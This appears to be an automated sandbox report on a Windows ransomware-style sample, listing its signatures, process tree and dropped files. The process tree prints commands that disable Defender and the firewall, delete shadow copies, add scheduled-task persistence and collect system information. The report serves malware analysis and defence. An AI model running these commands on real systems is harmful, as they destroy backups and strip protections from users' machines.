Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/08/2026, 14:36

General

  • Target
    2026-08-20_c5bb112e5d8d8a3f03a0c967b441a834_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 49KB
  • Sample260820-ryvdssdr2x
  • SHA256 9a79d3f967bdf15e4a3e2b6ca3abac7b9636866c515f17c7cc295b1205fb2dd4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Detects command variations typically used by ransomware 1 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 4 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-20_c5bb112e5d8d8a3f03a0c967b441a834_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-20_c5bb112e5d8d8a3f03a0c967b441a834_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4172
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1956
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:3172
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4956
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:1500
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:2812
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:3420
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:908
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:5896
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1832
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1596
      • C:\Users\Admin\AppData\Local\Temp\2026-08-20_c5bb112e5d8d8a3f03a0c967b441a834_destroyer_elex_glassworm_ngrbot_wannacry.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-08-20_c5bb112e5d8d8a3f03a0c967b441a834_destroyer_elex_glassworm_ngrbot_wannacry.exe"
        3⤵
          PID:5824
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:5052
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-08-20_c5bb112e5d8d8a3f03a0c967b441a834_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1096
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:920
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:1016
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:5968
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:6068
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:2828
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5240
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:4804
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4336
        • C:\Windows\system32\whoami.exe
          whoami
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1316
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3000
        • C:\Windows\System32\Conhost.exe
          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          3⤵
            PID:4956
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2156
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:2384
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1112
            • C:\Windows\System32\Conhost.exe
              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              3⤵
                PID:908
              • C:\Windows\system32\ipconfig.exe
                ipconfig /all
                3⤵
                • Gathers network information
                PID:4564
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:1972
              • C:\Windows\system32\NETSTAT.EXE
                netstat -an
                3⤵
                • Gathers network information
                PID:4612
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-08-20_c5bb112e5d8d8a3f03a0c967b441a834_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:6056
            • C:\Windows\System32\wscript.exe
              "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
              2⤵
              • Executes a VBScript file via the Windows Script Host.
              PID:3080
            • C:\Windows\System32\notepad.exe
              "C:\Windows\System32\notepad.exe"
              2⤵
                PID:2064
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:2632
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4344
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2556
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:4652
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:4628
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:5692
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:5468
              • C:\Windows\system32\LogonUI.exe
                "LogonUI.exe" /flags:0x0 /state0:0xa3a21055 /state1:0x41c64e6d
                1⤵
                • Drops file in System32 directory
                • Drops file in Windows directory
                • Checks processor information in registry
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:5612
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k CameraMonitor
                1⤵
                  PID:5464
                • C:\Users\Admin\AppData\Local\Temp\2026-08-20_c5bb112e5d8d8a3f03a0c967b441a834_destroyer_elex_glassworm_ngrbot_wannacry.exe
                  C:\Users\Admin\AppData\Local\Temp\2026-08-20_c5bb112e5d8d8a3f03a0c967b441a834_destroyer_elex_glassworm_ngrbot_wannacry.exe
                  1⤵
                    PID:2804
                  • C:\Users\Admin\AppData\Local\Temp\2026-08-20_c5bb112e5d8d8a3f03a0c967b441a834_destroyer_elex_glassworm_ngrbot_wannacry.exe
                    C:\Users\Admin\AppData\Local\Temp\2026-08-20_c5bb112e5d8d8a3f03a0c967b441a834_destroyer_elex_glassworm_ngrbot_wannacry.exe
                    1⤵
                      PID:2480
                    • C:\Windows\system32\vssvc.exe
                      C:\Windows\system32\vssvc.exe
                      1⤵
                        PID:6048
                      • C:\Windows\System32\svchost.exe
                        C:\Windows\System32\svchost.exe -k swprv
                        1⤵
                          PID:5896

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              invoice_1.pdf

                              • Path C:\ProgramData\invoice_1.pdf
                              • Size 66KB
                              • SHA256 d18228abc125b89df860b6a71f90da20ecb05166f0bac4128ad30d91d6176f52
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              doc_3.pdf

                              • Path C:\SystemVolumeInformation\doc_3.pdf
                              • Size 66KB
                              • SHA256 eb2751d62e32deb86b8dd789476ff5a5bc209db971d717b6c158e7a4e1e087d2
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              createshortcut.vbs

                              • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                              • Size 309B
                              • SHA256 f813b1f13e294f689900ee2f0e2379ec6b2caf9a820c3ae0d602c47897db93c0
                              • MD5 SHA1 SHA512 TLSH

                              del.bat

                              • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                              • Size 59B
                              • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                              • MD5 SHA1 SHA512 TLSH

                              makelnk.vbs

                              • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                              • Size 310B
                              • SHA256 1092fb349509a1b85c7ea047baf48c385a9d609b82380d405a3125c1809b1ef5
                              • MD5 SHA1 SHA512 TLSH

                              memory/1956-17-0x0000023C71430000-0x0000023C71452000-memory.dmp

                              memory/1956-1373-0x0000023C71860000-0x0000023C7186A000-memory.dmp

                              memory/1956-924-0x0000023C717A0000-0x0000023C71852000-memory.dmp

                              memory/1956-850-0x0000023C71780000-0x0000023C7179E000-memory.dmp

                              memory/2064-2243-0x000001D7E5F20000-0x000001D7E5F21000-memory.dmp

                              memory/4172-10-0x00007FFB2F7B0000-0x00007FFB30154000-memory.dmp

                              memory/4172-2-0x00007FFB2F7B0000-0x00007FFB30154000-memory.dmp

                              memory/4172-13-0x00007FFB2F7B0000-0x00007FFB30154000-memory.dmp

                              memory/4172-12-0x00007FFB2F7B0000-0x00007FFB30154000-memory.dmp

                              memory/4172-11-0x00007FFB2F7B0000-0x00007FFB30154000-memory.dmp

                              memory/4172-1-0x0000000000DB0000-0x0000000000DC2000-memory.dmp

                              memory/4172-8-0x000000001EE90000-0x000000001F3B8000-memory.dmp

                              memory/4172-9-0x00007FFB2F7B0000-0x00007FFB30154000-memory.dmp

                              memory/4172-7-0x00007FFB2F7B0000-0x00007FFB30154000-memory.dmp

                              memory/4172-6-0x000000001ECC0000-0x000000001EE82000-memory.dmp

                              memory/4172-3-0x00007FFB2F7B0000-0x00007FFB30154000-memory.dmp

                              memory/4172-14-0x00007FFB2F7B0000-0x00007FFB30154000-memory.dmp

                              memory/4172-0-0x00007FFB2F93F000-0x00007FFB2F940000-memory.dmp

                              memory/4172-2248-0x00007FFB2F7B0000-0x00007FFB30154000-memory.dmp

                              memory/4172-2250-0x00007FFB2F7B0000-0x00007FFB30154000-memory.dmp

                              memory/4172-2252-0x00007FFB2F7B0000-0x00007FFB30154000-memory.dmp

                              memory/4172-2251-0x00007FFB2F7B0000-0x00007FFB30154000-memory.dmp

                              memory/4172-2253-0x00007FFB2F7B0000-0x00007FFB30154000-memory.dmp

                              memory/4172-2254-0x00007FFB2F7B0000-0x00007FFB30154000-memory.dmp

                              memory/4172-2257-0x00007FFB2F7B0000-0x00007FFB30154000-memory.dmp

                              memory/4172-2258-0x00007FFB2F7B0000-0x00007FFB30154000-memory.dmp

                              memory/4172-2259-0x00007FFB2F7B0000-0x00007FFB30154000-memory.dmp

                              memory/4172-2261-0x00007FFB2F7B0000-0x00007FFB30154000-memory.dmp